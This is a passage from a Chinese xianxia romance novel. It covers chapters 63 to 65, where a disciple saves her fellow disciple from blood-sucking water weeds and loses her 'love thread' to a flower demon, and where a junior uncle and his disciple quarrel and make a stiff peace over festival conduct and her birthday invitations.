“或许看着自己的亲人死在面前,你都不会掉一滴眼泪,楚纤茉,你的善良从来都不是发自真心,只是以物易物的交换罢了,谁对你好,你便觉得自己也应该对他好,同时你也是个很记仇的人,对一些伤痛至今都无法释怀,我说得可对?”
楚纤茉刻意放缓了自己粗重的呼吸,尽量控制着身体的颤抖,害怕又被宋霜看穿什么,咬紧了嘴唇一言不发。
“一个人想要生存在这个世界上,内心往往有许多支柱,让他的灵府不至于在遭受各种打击时崩坏,这些支柱往往是他们的父母、兄弟姐妹,其次是亲朋好友,又或者是爱人、儿女,可你却跟所有人都不一样,你心里只有也仅有一个苏潋影,可曾想过若是有一天这根支柱坍塌,你会变成什么样子?你甚至连自己为人处世的准则都没有,只是一味地模仿苏潋影,像她的影子一般,”
他轻叹一声,“等什么时候想清楚了,再来问我吧。”
第二日,三人一起下了天仙谷。
从山上看去,天仙谷狭长幽深,谷底生长着各种稀奇古怪的参天巨树,有时候楚纤茉甚至看到那些树在缓慢移动,枝叶乱晃,花叶纷飞,居然是活的。
楚纤茉和王天雨齐齐咽了口唾沫,小心翼翼跟在宋霜身后,不敢碰这里的一草一木。
宋霜一手按着悬在腰侧的长剑剑柄,一手负在身后,步子很稳,提醒两个弟子道:“这山谷里并无危险,不必担心,妖界叫得上名号的几乎都盘踞在小西洲一带,这里的妖几乎都是形单影只,不成气候,不过有个千年花煞要注意一下,她常隐没在花丛之中,攻击性不强,只是擅长偷盗东西并藏匿起来,至今没人能对付得了。”
楚纤茉没有听过这个花煞的名字,侧目看向了王天雨。
王天雨连忙接话道:“我知道我知道!师尊,这个花煞好像是一群女子的怨念所化,这些女子或被父母遗弃、或被夫君厌弃,于是化作了花煞,这个精怪的嫉妒心非常重……”
说着,王天雨看向了楚纤茉,挠挠头胖脸染上大片红晕,结结巴巴道:“尤其,尤其妒恨像楚师妹这样年轻貌美的女孩,师妹可要小心点啊。”
“多谢师兄提醒,我会注意的。”
说着三人已经进入了湿热的谷底,脚下是绵绵落花,时不时还会不小心踩到藏在花叶下面的各种艳丽蛇虫。
第三次把猪脸彩蛛踩爆浆之后,楚纤茉双手合十不停地喃喃道歉:“阿弥陀佛阿弥陀佛,我不是故意的,我是真的看不清……”
不知是谁轻轻笑了一声,楚纤茉看向了身侧的王天雨,小胖子绷紧了脸,也在踮着脚躲着可能有蜘蛛的地面。
楚纤茉低声道:“我刚才好像听见有人笑,像是个女的。”
王天雨起了一身鸡皮疙瘩,抬头往上看,两边悬崖峭壁越往上收得越窄,仿佛一线天,山谷里幽静潮湿,走过那片满地蜘蛛的路段,越往后脚下的泥土越湿软,脚面几乎都陷了进去。
忽然之间只听得山谷里响起一连串尖锐的怪笑声——嘎嘎嘎嘎嘎嘎!
然后一呼百应,四面八方都是各种各样的笑声哭声。
哈哈哈哈哈哈哈哈哈哈……
桀桀桀桀桀桀桀桀桀桀……
楚纤茉和王天雨均是吓了一跳,王天雨已经刷一下拔出了手中佩剑,护在楚纤茉身前,惊慌失措地打量四周古木怪石,结结巴巴道:“师妹别别怕,我保护你!”
身后没有任何声音,王天雨一回头人就麻爪了,楚纤茉居然不见了,再往前看,好家伙,宋霜也不见了。
胖子的裤腿子都抖了起来,提着剑试探着往前走,边走边喊,仿佛一只被掐住脖子的猫。
“师尊?小师妹?人都去哪儿了?”
而楚纤茉几乎也是遇到了同样的情况,走着走着身边忽然空无一人了,她比王天雨还手足无措,手里也没有任何法器护身,只有一把用来采药的袖刀,现在只能握紧了刀继续往前走,因为宋霜说过他们要采的尸香魔藕和玉藻金针都在花谷最深处。
没成想走了没多久忽然听到了一阵呼救声,而且伴随着拍打水面的声音。
楚纤茉心里起急连忙赶上前去拨开重重宽大的枝叶,看到了一片方圆九丈的水潭,一个脑袋在水里沉浮,忽上忽下,伸出两只手疯狂拍打着水面。
“王师兄!”
楚纤茉脑袋一热,心惊肉跳了起来,原地踱了十几步连忙将背篓上的攀绳解了下来,一端牢牢系在近处一棵大树上,一端绑在自己腰上,刚要下水就听王天雨在水里挣扎着喊道:“别……里面……有东西!”
楚纤茉也明白了,水潭下肯定是有妖魔作祟,连王天雨都没办法应付,自己肯定也没办法,去救他恐怕是白白送命。
楚纤茉急得跺脚,站在岸上朝四周扯着嗓子喊。
“蘅泽君!蘅泽君!救命啊!”
“救命啊!”
一连喊了二十来声,她嗓子都哑了,不见任何回应,眼见王天雨渐渐没了力气,有一下没一下地抓着水面上的空气,脑袋一点点沉入水里,楚纤茉管不了那么多了,握紧袖刀快跑几步跳下了水,恍若坠入了冰窖里,不过还好,她小时候睡过大冬天的柴房,被楚珏推进雪堆里埋了有半个时辰,可谓是身经百战了,不过是重温一遍寒冰
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刺骨的感觉而已。
奋力游过去抓住了王天雨的手,将他往岸上拽,可是王天雨已经呛水太多晕厥过去了,他本来就胖,楚纤茉根本拽不动他,而且发觉水底似乎有什么东西在往下拽着王天雨。
楚纤茉憋了一口气扎进水面以下,拂开两人漂浮的衣摆,幽深黑暗的水底不见天日,隐约可以看到王天雨双脚上都缠绕着头发一样浓密的线状水草,楚纤茉反握袖刀想割断扭成一股绳的水草,发现那东西结实地仿佛铁丝一般,根本就割不断,她一个用力过猛半截刀刃居然折断在了那浓密的水草里,一股血腥味在水里弥漫开来,楚纤茉感觉到右手手掌一阵刺痛,那些缠绕在王天雨脚踝上的水草仿佛嗅到了什么似的,如同水蛇一般扑簌簌自王天雨脚上松开,相互扭动翻卷着朝楚纤茉流血的手掌袭来。
血!
楚纤茉随即明白了过来,这些水草是能吸血的,而且还刀枪不入,啧,预测失误了,这些东西显然不是她能对付的,现在利益最大化的做法就是拿王天雨当诱饵给自己争取时间游回岸上了。
她当即绕着王天雨游了两三圈,那些水草虽然刀枪不入但脑子显然不好使,跟着楚纤茉游了几圈全缠绕在了王天雨身上,楚纤茉抓住机会迅速割断自己腰上的绳子绑在了王天雨脚踝上,这时一股水草已经悄然顺着王天雨的腿滑了下来,楚纤茉迅速一蹬腿逃离危险地带,然后就看着王天雨整个人倒吊在了水里,密密麻麻的水草如同返巢的蜜蜂一般见缝插针,从他的五官七窍里钻了进去,用不了多久恐怕王天雨整个脑袋都会被这些蜂拥而至的水草挤爆炸了,而楚纤茉眼前仿佛已经出现了那副场景,砰一声——胖子的整个脑袋会炸成一团红白相间的肉沫,只余一具无头尸体倒悬在水里。
楚纤茉对着自己的手腕狠狠划了一刀,一团血花自水里盛开,如同飘在空中的烟雾般迅速向周围扩散开来,浓烈的血腥气立刻吸引到了那些水草,它们如同退潮的海水从王天雨身体里离去,被血液刺激地疯狂战栗,如同嗅到猎物的饿虎迅速扑向水里的血液,所到之处将漫延在水中的血液吸食殆尽,楚纤茉加快了游动的速度,身后的血线如同一条漂浮着的丝带,勾着那些水草远离了王天雨。
她游到足够远的距离,狠了狠心对着自己的右腿又割了一刀,这次放的血更多了,远处的水草如同黑压压的鱼群般涌了过来,楚纤茉咬紧牙关脱下外衫包裹住了自己不断渗血的右腿,狠狠缠了几层后往回游去,几乎是拼了命往岸上游,伤口浸泡着冰水如同钢刀刮骨,每划一下水都仿佛被凌迟的鱼,越游动眼前越是模糊,不知道自己这般苦苦挣扎究竟是为了什么。
到底还是抓住了岸边的杂草,心里的绝望和恐惧一扫而空,提起一口气艰难地爬上岸慌忙去找绳子,眼前几乎在冒金星,慌乱之间居然抓住了一条正在钻地洞的蛇,将它整个拽了出来,大眼瞪小眼,确认过眼神,是我害怕的大长虫,楚纤茉尖叫一声将蛇甩出去老远。
蛇无伤人意,人有害蛇心啊,飞出去后吧唧一下砸进了泥地里。
楚纤茉定睛一看,这才看到自己绑的绳子,连滚带爬过去抓着绳子用力往上拉,胖子本来就沉,喝饱了水的胖子更沉,楚纤茉咬得嘴唇都出血了,绳子几乎嵌入了手掌的伤口里。
现在可是争分夺秒的时候,水草一旦吸食完血液下一刻肯定回来又缠住王天雨,那时候一切功夫白费了不说,王天雨肯定要命丧于此。
转了个身,将绳子搭在自己肩膀上用力往上拉,这次终于有了效果,楚纤茉将拉回来的绳子一节一节绕在附近一根老树桩上,爬到岸边往下弯腰,抓到了王天雨的脚踝,用尽全身力气将沉如巨石的王天雨拖上了岸,楚纤茉几乎脱力,右手上的伤口被撕扯到变形,被水浸泡得泛白的皮肉里填满了沙石泥土,她眼前发花,浑身发颤,跪在地上难受地干呕着,感觉自己没有一丝力气。
等眼前乱舞的金星消失后,她连忙去推地上的王天雨,根本没有力气喊醒他,将他脑袋摆正后,楚纤茉从他嘴里掏出了一团还在蠕动的黑色水草,双手交叠用力按他胸口,王天雨吐出了几口水但依旧没有呼吸。
楚纤茉起了一身冷汗,脑袋有些短路,双手颤抖着,一手压住了他的额头,另一只手抬起他的下巴,王天雨的胸口依旧没有半点起伏。
她深吸了一口气,紧紧捏住王天雨的鼻子,俯身对着他的嘴吹了一口气,抬头观察他的胸部,依旧没有任何起伏,又是吸气、吹气。
忽然一把手按在了她肩膀上,楚纤茉整个人身子一僵,魂差点飞了。
按在她肩头的手好冷,掐得她好疼啊,莫非是王天雨已经死了,找她索命来了?
63. 神医花煞
楚纤茉扭头过去却看见了一道颀长的玄衣身影,衣摆干干净净如同谪仙,左手提着一个葫芦。
“蘅泽君,王师兄他……”
楚纤茉泪流满面,终于看到救星了,她方才强撑了这么久,无论遇到何种险境似乎都能很快想到解决的办法,现在看到宋霜出现,智商好像一下子清零了,除了哭不知道做什么。
“让开。”
楚纤茉擦着眼泪退了开来,宋霜半蹲下身,将葫芦交给了楚纤茉,伸手抓住王天雨的手腕摸一下寸关尺。
“取银针。”
楚纤茉愣了一下,连忙从自己的芥子袋里摸出了一个小羊皮卷,拿出了三支银针。
宋霜微微一挑眉,接过三支银针,一根没有浪费地扎在了王天雨的眉心、胸口、腹部。
只见王天雨两腿忽然一蹬,豁然睁开了眼睛,一片惨白的瞳孔对着天空,宋霜眼疾手快去了他身上的银针,王天雨翻上去的黑眼瞳这才落了下来,宋霜扶着他的肩膀将人推了起来,王天雨张着嘴大口大口地呼吸着,如同牛喘粗气,喘够了一翻身跪在地上不停地呕吐,花红柳绿好不热闹,甚至还有蠕动的黑色水草。
楚纤茉也差点干呕起来,连忙别过了脸,之前那团从王天雨嘴里抠出来的水草正悄悄顺着草地往水里溜去,被楚纤茉一把抓住了,那东西如同活蛇一般在她手里疯狂扭动,甚至狠狠缠住了她的手腕往血肉里勒去,楚纤茉忍着疼将它们塞进了一个新的乾坤袋里,恭恭敬敬递向了宋霜。
“蘅泽君,这就是尸香魔藕吧?王师兄大概也是为了采药才踏入险境的。”
宋霜早已起身,没有接东西,而是居高临下看了一眼楚纤茉,她浑身湿透,衣服紧紧贴在身上,长发如同水草缠绕在脖颈上、贴在后背上,一只手被利刃割开了一道豁口,不知在水里泡了多久,伤口泛白已经不流血了,而腿上的伤显然更严重,草地被血洇红了一片。
而她俯身在王天雨上方,对着他渡气的场景居然几次三番浮现在他眼前。
“这次辛苦你了,天仙谷里有雾妖布下的迷阵,我一时也难以找到你们,你可有遇到危险?”
楚纤茉听了这话神色一黯,宋霜自然捕捉到了这点异常,追问道:“发生了何事?”
楚纤茉笑着摇摇头:“不打紧的,不过是花煞拦路,从我身上要去了一样东西。”
楚纤茉想起了半个时辰前,她跟宋霜、王天雨失散后一个人在迷谷里转悠,听到王天雨的呼救声后,循着声音追去,拨开眼前重重花草,一张苍老的女人面孔赫然出现在眼前,皱纹堆叠,眼角的鱼尾纹一道摞一道,丑陋而恐怖,雪白的发丝向上漂浮着,如同插在脑袋后面的一把巨大扇子。
她咯咯笑着,脸上的皮撕裂开来,从里面生长出一朵朵血肉凝成的花朵,艳丽的血肉之花一朵接一朵地从裂开的皮肤里钻出来,挤满了她大半个脸,花煞没有身子,只有一颗头,她掀开眼皮,露出了青金色的竖瞳。
“小妹妹,我不伤你,不过众所周知,遇到我必须给我点东西,否则,我就让你也变成我脸上的一朵花……”
“你要什么?”
花煞绕着楚纤茉转了一圈,鼻子凑在她脖颈处嗅了嗅,露出了贪婪的笑容:“我要情丝,我闻得出来,你的情丝悲苦至极,历经过最惨烈的爱恨,可怜的姑娘,被情人伤透了心吧?”
花煞说着,眼角居然流出了泪水:“把它交给我,这辈子你就不会再有痛苦了,相信我。”
“你给她了?”宋霜皱紧了眉头。
“救人要紧,情丝什么的想来用处不大,花煞说没了情丝反而于我的修行有利。”
楚纤茉回想起被花煞抽去情丝之时,胸口到后背被一根古藤穿过,一点都不痛,而且感觉全身都轻松了,随着枯藤迅速缩回去,一丝血线顺着枯藤尖端逶迤飞去。
被花煞拿走的东西,没办法夺回来的,她是六界最擅长隐藏自己的妖怪,除了主动现身,迄今为止没人能找得到。
宋霜轻叹一声:“你既是梵净山的弟子,出了这种事师门又怎会置之不理,况且也是我一时疏忽,此事你大可放心,我会替你去寻花煞,拿回情丝。”
楚纤茉连连摇头:“蘅泽君不必如此,折煞弟子了,是弟子太过无能,怨不得旁人,情丝没了就没了,天生绝情之人也不是没有,塞翁失马焉知非福。”
宋霜注视她良久,眉头蹙紧又舒展,打量着眼前有些偏执的小姑娘。
“为何对自己这般不上心?你并非天生绝情之人,被妖魔强行抽去情丝,倘若以后出了差池可如何是好?”
楚纤茉心下冷笑一声,有什么大不了的差池,不过就是一死,我求之不得,像我这种人,多活一天不过是多遭一天的罪罢了。
“出了差池由我自己负责。”
宋霜罕见地被人拱上了火,语气起急:“这代价恐怕你付不起。”
楚纤茉微微一笑,轻轻摇摇头:“前段日子因为我,闹得门派上下不得安宁,如今又要因为我动用整个师门的力量去寻找一件或许根本就找不到的东西,就算师兄师姐们不说什么,我自己心里也过意不去,还请蘅泽君可怜弟子一次,别再追究此事了,是福是祸皆是弟子的命数。”
说罢竟直直跪了下来。
宋霜想起了之前门派里闹得沸沸扬扬的斗殴事件,虽然花焚熠极力封锁消息,但弟子之间还是流言蜚语不断,这件事里受打击最大的无疑是楚纤茉,那段时间他也许久没有在蘅泽峰看见过她。
好在不久之后又是轰轰烈烈的拜师大典,算是暂时压下了此事风波,不过有些伤痛就仿佛一根钉子钉在了木板上,即使拔出来也留下了填不上的窟窿。
显然,楚纤茉不想再身处风口浪尖,不想再沦为众人话柄了。
宋霜想到这一层缘由,点了点头。
“多谢蘅泽君。”
楚纤茉深深一拜撑着地站了起来,这一站不要紧,整个人仿佛被什么东西拉扯着仰面朝地
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上栽去,宋霜眼疾手快上前一步扶住了昏厥过去的楚纤茉,右手握住了她左手脉门,察觉无大碍后将人拦腰抱了起来,吩咐王天雨道:“拿好东西,回山。”
王天雨愣了一下,连忙答应着将地上的葫芦和乾坤袋抱在怀里,一瘸一拐跟着宋霜出了天仙谷。
梦湉斋里,宋霜将采来的尸香魔藕刚处理好,一根根放入了盛着冰水的琉璃盏中,那些藕丝仿佛蛇虫一般游动了起来,在琉璃盏里疯狂扭动逃窜,却怎么也逃离不出透明的水晶牢笼。
宋霜接着又处理那块长满金针的玉藻蟾蜍,喂它喝下魔藕汁后,蟾蜍吐出了一串泡沫,很快就被麻翻了,这才拿钳子夹下了它背后长满的密密麻麻的金针。
做完这一切,门被轻轻敲了三下,宋霜拉开旁边的药柜上的一个小抽屉,将贡献完金针的蟾蜍放进其中一个小格子里,合上抽屉,洗洗手擦干净,这才应声让外面的人进来。
来人躬身施礼:“见过蘅泽君。”
“小瑶啊,坐吧。”
“谢蘅泽君。”
林瑶轻提衣摆在宋霜对面坐了下来。
“你的事尹兄已经在信中交待了,把伤到的手给我看看。”
林瑶忙抬起了右手,轻轻拉起一点衣袖搁在腕枕上,宋霜轻轻在几个穴位上按了按,观察着林瑶的反应,随着他的动作,对方有时面色如常,有时会轻轻皱眉。
“能治好,只是需要一段时间,你师父千叮咛万嘱咐一定要让你的手恢复如初,所以我才耽误了一些时日思索对策。”
林瑶眸光微亮,能治好再好不过了,忙道:“有劳蘅泽君费心了。”
宋霜摆摆手:“不妨事,只是我有点好奇,你这手腕是怎么伤到的?尹兄在信中并未提及原因,若不方便说就当我没问。”
林瑶脸色就是一僵,两颊作烧、玉面敷粉,期期艾艾道:“切磋……与我师父切磋了一下,师父没收住力道,就这样了……”
宋霜并未察觉异样,点点头:“尹兄对你也算是十分上心了,就是有些低估了自己的实力,许是一时兴起失了分寸,你莫要见怪。”
林瑶擦了一把额头的汗:“是是是,林瑶明白师父的、良苦用心。”
宋霜微微颔首,从桌头摊开的羊皮卷里抽出一根金色骨针,并没有针眼,看向林瑶,示意她将手腕放在桌上。
“这针要扎在骨头上,针头虽然蘸了魔藕水,但还是会有些疼,忍着点。”
林瑶点点头,然后注意到了琉璃盏里仿佛文思豆腐一样的白色丝状物体,好奇地问道:“蘅泽君,这是什么?”
宋霜目不斜视,继续施针,淡淡吐出两个字:“别问。”
“哦……”
过了一会儿右边的药柜里有个抽屉哐当哐当响了起来,仿佛有东西在里面一下下撞击着,想要出来。
林瑶看了过去,提醒宋霜道:“蘅泽君,那个抽屉……”
“你别管。”
“哦……”
64. 愿者上钩
梵净山五年一次的沐剑节自然不容错过,除了出差闭关的,其余峰主们在风景秀丽的嫣雨峰桃花坞欢聚一堂,而弟子们则是呼朋引伴三五成群在桃花树下推杯换盏。
就在这时楚纤茉悄悄捅了一下苏潋影的肩膀,凑在她耳边轻声道:“不知是不是我的错觉,花小师叔好像一直在看你……”
苏潋影背靠在楚纤茉怀里,顺着她的目光看过去,三丈开外是峰主们落座的地方,曲水流觞、觥筹交错,而花焚熠果然向她投来了冰冷如箭的目光,扎得苏潋影一哆嗦。
这哪是在看她啊,分明是在瞪她。
苏潋影收回目光继续玩游戏,拍拍楚纤茉的手冷哼道:“管他呢,咱们乐咱们的,许是出门忘带眼药水了,这会儿眼干眼涩眼疲劳吧。”
就在这时桃花枝被苏潋影顺手塞给了旁边的郁霄,郁霄没反应过来鼓声已经停止了,苏潋影大喜过望,抹了一手的锅底灰毫不客气招呼到郁霄白净的脸颊上,给他画了食铁兽同款妆容。
郁霄无奈苦笑,想拿手帕擦脸被苏潋影义正词严地阻止了。
“不许擦!愿赌服输,你得留到节日结束。”
“好吧好吧,只是小师叔怎么离席了,你确定不去看看?”
“不用管,他破防了。”
“破防?”
郁霄疑惑地看着苏潋影,随后恍然大悟:“你是说花师叔生气了?”
“哈哈哈哈哈……”苏潋影笑得前仰后合。
郁霄无奈地摇了摇头:“你呀,就知道胡闹。”
在沐剑节上玩得很开心直到傍晚才回到听雨斋。花焚熠看到苏潋影回来,脸色已经不能用很难看来形容了,那叫一个山雨欲来风满楼,端端正正坐在正厅的椅子上,显然是恭候某人多时了。
“你还知道回来。”
苏潋影指着自己的鼻尖:“那我走?”
花焚熠被噎得无言,片刻后才缓过来:“你今天在沐剑节上表现的实在是太不像话了。”
“哪里不像话了?我全程观礼,参加完了整场宴席,倒是有人半路就走了,不知道算不算失礼……”
“你!我是你小师叔,教训你几句还不行?”
本来只要低个头认个错,花焚熠此人是不会与弟子们为难的,但再看苏潋影,七个不服八个不忿,踮着脚掐着腰跟他杠。
“我又没犯错,凭什么要被你教训,有这闲工夫管好自己的徒弟吧……”
花焚熠向来云淡风轻、心平气和的一个人,被气得眼前发黑,一巴掌拍在了桌案上,桌上茶盏都跳了起来。
“过来!我今天定要好好替你师尊管教管教你。”
这时,一个弟子走了进来,手中拿着一根又粗又长的木棍。花焚熠接过,在手中掂量了几下,用木棍指着苏潋影:“你给我过来!今天我非好好教训你一顿!”
“咳咳咳……”苏潋影发怵地看着那比自己胳膊还粗的木棍,“你这不是教训,你是想杀了我呀!”
“我若是想杀你,你早就死了几百回了。”他脸色铁青,咬牙切齿道。
正在这时外面传来一阵喧哗,花焚熠停下手中的动作,皱着眉头看向外面。
“发生了何事?”
一名叫平青的弟子急忙跑进来禀报:“启禀师尊,掌门来了,正在大厅等着呢。”
“哦?师兄来了?”他脸色稍微缓和了一些,随后瞪向苏潋影,“算你走运,先放过你这一次。”
花焚熠说完,便将木棍扔给了弟子,然后整理了一下衣服,向大厅走去,苏潋影也连忙跟了上去。
这么一打岔,花焚熠心里的怒火平息下去一半,本来也就是吓唬吓唬苏潋影,哪里舍得真的对她动手,叶静秋这一来也算是给他找了个台阶下。
掌门此来是为商议弟子们下山历练一事,派中事务繁忙,意思是让花焚熠帮忙安排一下,毕竟整个梵净山就数他带的弟子最少了。
花焚熠笑吟吟听完,略带忧容道:“师兄,不是师弟不想为你排忧解难,只是最近正值修行的关键时期,实在是有心无力……”
叶静秋看他一眼,小师弟假装喝茶避开了他的目光,掌门人叹气道:“好吧,”他往花焚熠身后看了一眼,“那个,苏潋影啊,你去摇情峰找一下匡月,他若没空的话去找你宋师叔也行,到时候让他安排你们历练之事。”
什么?他以为光是叶斐、盛祁星那一批弟子要下山,怎么连苏潋影都要去?
花焚熠低咳两声,面不改色地搬起石头砸自己的脚:“师兄,要不还是我来吧,匡月那家伙只知道闭门造车,宋霜棺材脸别吓着小朋友们。”
“哦?你若实在抽不开身也无妨,不必勉强。”
“不勉强不勉强……”
送走了叶静秋,花焚熠将苏潋影叫到了书房,坐在椅子上看着那顽劣异常的孽徒:“你可知错?”
“我哪里有错?”苏潋影站在原地摇摇晃晃玩着袖带,一副死猪不怕开水烫的样子。
花焚熠用力一拍桌子,站起身来:“你还不知错?你今天的种种表现简直是丢尽了你师尊的脸面!”
“你这话我就不爱听了!我规规矩矩坐着,怎么就丢脸了?再说了,我师尊小气得很,哪有那么容易丢三落四。”
花焚熠气结,半晌才道:“既然你觉得自己没错,那你就把梵净史抄一百遍吧!”
苏潋影瞠目结舌:“一百遍?你要批发啊?指出来一个我错哪儿了我就抄!”
花焚熠背着手在书房里来回踱步:“你在沐剑节上,跟那个江荀和郁霄眉来眼去,成何体统!”
“我们不能交流?”
听着苏潋影理直气壮地反驳,花焚熠胸中怒火越窜越旺,冷笑不止。
“交流?”他冷哼一声,“我看你是想借机跟他们私会吧!”
苏潋影一脸吃到苍蝇的表情:“我去,你鼻子下面长的那个东西也叫嘴?这就是你堂堂嫣雨君的用词?”
“逆徒!”
意识到自己有些失态,他深吸一口气,平复了一下情绪:“总之,你在大庭广众下行为举止有失体统,给嫣雨峰抹了黑。”
“哼,那我干脆以后不要出门了呗。”苏潋影翻了个白眼瞥向窗外。
“你这是什么态度?我看你是不想活了!”
“凭什么我跟别人说话都有错?大街上男男女女难道不言语交流吗?小师叔要不要全部管一管,说他们有伤风化!”
苏潋影之前还是玩笑的语气,现在却也渐渐动了真格,额角青筋隐约在皮肤下跳动。
“苏潋影,你这是在强词夺理!”
其他弟子见状早就躲得远远的了,不曾想素来温润如玉、风度翩翩的嫣雨君一旦动怒居然恐怖如斯!那张脸上再无半点笑意,仿佛完全换了一个人,神情冷硬如铁,对着这样一张面容,众弟子们连跟他对视都不敢,纷纷躲回了自己屋子里,乖乖读书写字,整个嫣雨峰静寂如坟地。
“男女之间的交往,应当守礼节知进退,岂能像你这样毫无顾忌!”
“我哪里没有顾忌了?”
花焚熠气得脸色铁青,指着苏潋影的手指隐隐发颤,半天说不出话来:“你跟一群男弟子眉来眼去,旁若无人,这还不是没有顾忌吗?”
“这也叫有错!”
“逆徒!”
花焚熠胸口剧烈起伏着,突然眼前发黑,险些踉跄几步,颤巍巍伸手摸索着力点,但苏潋影还在据理力争。
“还是说,小师叔觉得,我身为女子就不应该在大庭广众之下谈笑风生?”
花焚熠扶住桌子,勉强站稳身子,脸色十分难看:“我并非此意,只是你在宴会上的行为确实有些不妥。”
“我苏潋影行得正站得直,问心无愧。”
“既然你觉得自己没错,那你就当着我的面,把梵净史记抄一百遍。”
“你!”
绕了一圈他还在提这件事,她气得眼圈泛红,喉咙发堵,带着满腔悲愤怒吼出三个字,“凭什么?”
“就凭我是你小师叔!”他甩了一下衣袖,迈步往外面走去,还要给苏潋影火上浇油,“不抄的话,峰规伺候。”
“花!焚!熠!”
这一声与之前烈炭爆火的刁蛮劲儿不同,居然带上了压抑不住的哭腔。
“你不讲理……”她大概是哭了,但是语气还是那么强横,像个赌气的小孩子,“就知道拿你嫣雨君的派头辖制人,我再也不喜欢你了……”
花焚熠垂在袖中的手越收越紧,本来要走的人仿佛被这一句话钉在了原地,咬着牙闭了闭眼,忽然很想回头抱她一下,最终还是迈步往前走去。
“你还是好好反省一下自己吧。”
回到听雨斋的他坐着长条桌案后铺开纸,想理一下思绪设计弟子们历练的路线,却脑子里乱哄哄怎么也下不了笔,就这么跟眼前的宣纸较劲了小半个时辰,啪一下扔下了笔。
“平青!”
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>不多时有人推门进来,规规矩矩站在三尺之外,叉手施礼:“师尊有何吩咐?”
花焚熠半阖着眼,认输般叹了口气:“书房里那位怎么样了?”
平青一五一十地回答:“苏师妹还在哭,把自己关在书房里谁劝也不管用。”
“行了行了,你下去吧。”
“是。”
已经是戌时了,天色渐暗,书房里却漆黑一片,花焚熠站在窗外,听着里面没有任何动静,在心底轻叹一声,迈步走进了门,打开了琉璃灯,屋子里亮如白昼,拢目光看去只见一道娇小身影藏在书架后面,抬手挡住了刺目的光芒。
花焚熠也不去主动招惹她,径自走到书案后坐下,两人就这么僵持了片刻,花焚熠忽然道:“对了,过几日是你十师叔的生辰,你有什么打算吗?”
“我自会备好礼物……”
花焚熠缓缓转过身来看着仍旧躲在书架后的她,神色有些复杂:“可愿与我一同前往鹿鸣峰。”
“小师叔不必问我的意见,命令我随行就可。”
花焚熠眉头微皱,声音带着一丝怒气:“苏潋影,你是不是非要跟我作对?”
他深吸一口气,努力平复自己的情绪:“我只是想让你知道,我并非是要限制你的自由,我也希望你能过得开心。”
苏潋影一口气憋在心里堵得慌,几步走了出来站在花焚熠面前,咬牙切齿道:“我开心得很。”
见她如此倔强,花焚熠心中有些无奈:“罢了,我不与你计较。”
说完,花焚熠便转身离去,留下苏潋影一个人在房间里。过了几日,便是水云仙的生辰,花焚熠果然带着苏潋影一同前往鹿鸣峰。
叶斐等人早就到了,看到苏潋影和花焚熠,连忙迎了上来:“小师叔,影儿,你们来了。”
寒暄间东道主水云仙也笑吟吟走了过来,苏潋影跟着行礼:“弟子苏潋影,见过十师叔,祝师叔生辰喜乐,永远这般光彩照人,笑口常开。”
水云仙笑得愈发眉眼弯弯,伸手轻轻掐了一下苏潋影的桃腮:“哎呦,这小嘴怎么跟抹了蜜一样,尽会哄人开心,怪不得十二不愿意把你还给老三呢,定是被你这小丫头哄得神清气爽、分不清东西南北了吧?”
花焚熠:呵呵……岂止神清气爽了,都要精神失常了。
好歹等到宴席开始,江荀、唐书戏等人看苏潋影身边没人于是坐在了她的旁边:“苏苏,好久不见了。”
苏潋影规规矩矩地跟他们问好,生怕又被花焚熠挑错。
唐书戏仿佛见了稀奇罕:“苏苏,太阳打西边出来了,你怎么变得这么乖了?”
上席的花焚熠却淡淡开口:“唐书戏,这恐怕与你无关吧。”
唐书戏一向心直口快,这也是继承了符珂之风,奇怪地看了一眼花焚熠:“花师叔,我只是在和苏师妹说话,好像并没有打扰到你吧。”
花焚熠轻笑一声:“江师侄说话还真是直接,不过,本君方才也只是随口一说罢了。”
江荀眼见气氛越发尴尬连忙转移话题:“苏苏,听说你最近在跟着花师叔学兵法,怎么样,还习惯吗?”
“都还好。”
苏潋影朝他们摇摇头,示意他们不要再问下去,终于撑到宴会结束,她松了一口气。
花焚熠忍了又忍,好歹等到有人离席,三两步走到苏潋影身边,低声说道:“时辰不早了,我们也该回去了。”
离开鹿鸣峰,苏潋影脸色冰冷,陷入沉默,一句话也不愿意多说。
回到嫣雨峰后,也是径直往自己的房间走,花焚熠却在后面喊住了她,语气有些生硬。
“苏潋影,你给我站住,我有话要说。”
苏潋影脚步一顿,转过了身:“小师叔有何吩咐。”
花焚熠看着她的眼睛,试图从她的眼神中找到答案:“你是不是很讨厌我?”
“不敢。”
花焚熠深吸一口气,努力让自己的语气变得平和:“我知道你对我有意见,但是我希望你能明白,我做的一切都是为了你好。”
“是。”
花焚熠心中有些烦躁:“你就不能说点别的吗?”
“多说多错,何必呢,让小师叔再挑到我的毛病。”
她低着头,背着手拿脚尖来回碾地上一颗小石子。
花焚熠:“你……”正欲发火,又想到苏潋影今日在宴席上的表现,心中的怒火消了一些,“罢了,进去读书。”
65. 星月摇情
一桌同坐,师侄二人各自捧着一本书,听雨斋里落针可闻,气氛古怪至极。
花焚熠侧目瞥了一眼那油盐不进的某人,她无聊地转着笔,看起来闲得发慌,忍不住清咳一声没话找话:“你的及笄礼快到了,有何想法。”
那逆徒哼哼两声:“我有个鬼的想法,拉倒算了。”
花焚熠咬紧牙关压住怒火:“你这丫头,怎的如此任性!生辰宴还是要办的,宾客名单你拿给我过目一下。”
“请帖我还没有写。”
花焚熠语气有些急切:“那你现在就写,写完后给我看一下。”
苏潋影丢开书翻出了一叠漂亮的纸张,拿桃花雪浪笺叠成了精致的信封,给各峰的师兄师姐写请柬。
花焚熠就站在她身后,时不时假装不在意地瞟一眼,耐着性子等:“写好了吗?”
“写好了。”
花焚熠拿起她写好的请帖,从头翻到尾,脸色变得很难看:“……你邀请郁霄了?”
“我不能邀请郁师兄吗?”
花焚熠低咳一声:“当然可以。”努力克制内心翻涌的醋意,语气显得有些生硬,“我只是好奇,你为何第一个写他的请帖?”
“那我应该第一个写谁?”苏潋影抬眼,语气冰冷地反问他。
“自然是我。”花焚熠理所当然地看向她,“你是我的师侄,于情于理,第一个邀请我也是应当的。”
真不要脸!
“……下次一定。”
花焚熠心里不是滋味,换了个问题:“影儿,你的生日宴准备在哪里举办?”
“自然是在我家。”
“碧梧山庄?”花焚熠微微皱眉,思索片刻开口,“在山下举办生日宴,难免会有诸多麻烦,不如还是由我替你操办吧。”
“嫣雨峰清雅幽静,哪里禁得住我们闹腾,不敢叨扰小师叔。”
“你这是说的什么话?在嫣雨峰住了这么久,难道还把小师叔当外人吗?”
“我是把自己当外人。”苏潋影认真地把信装在桃花纸信封里。
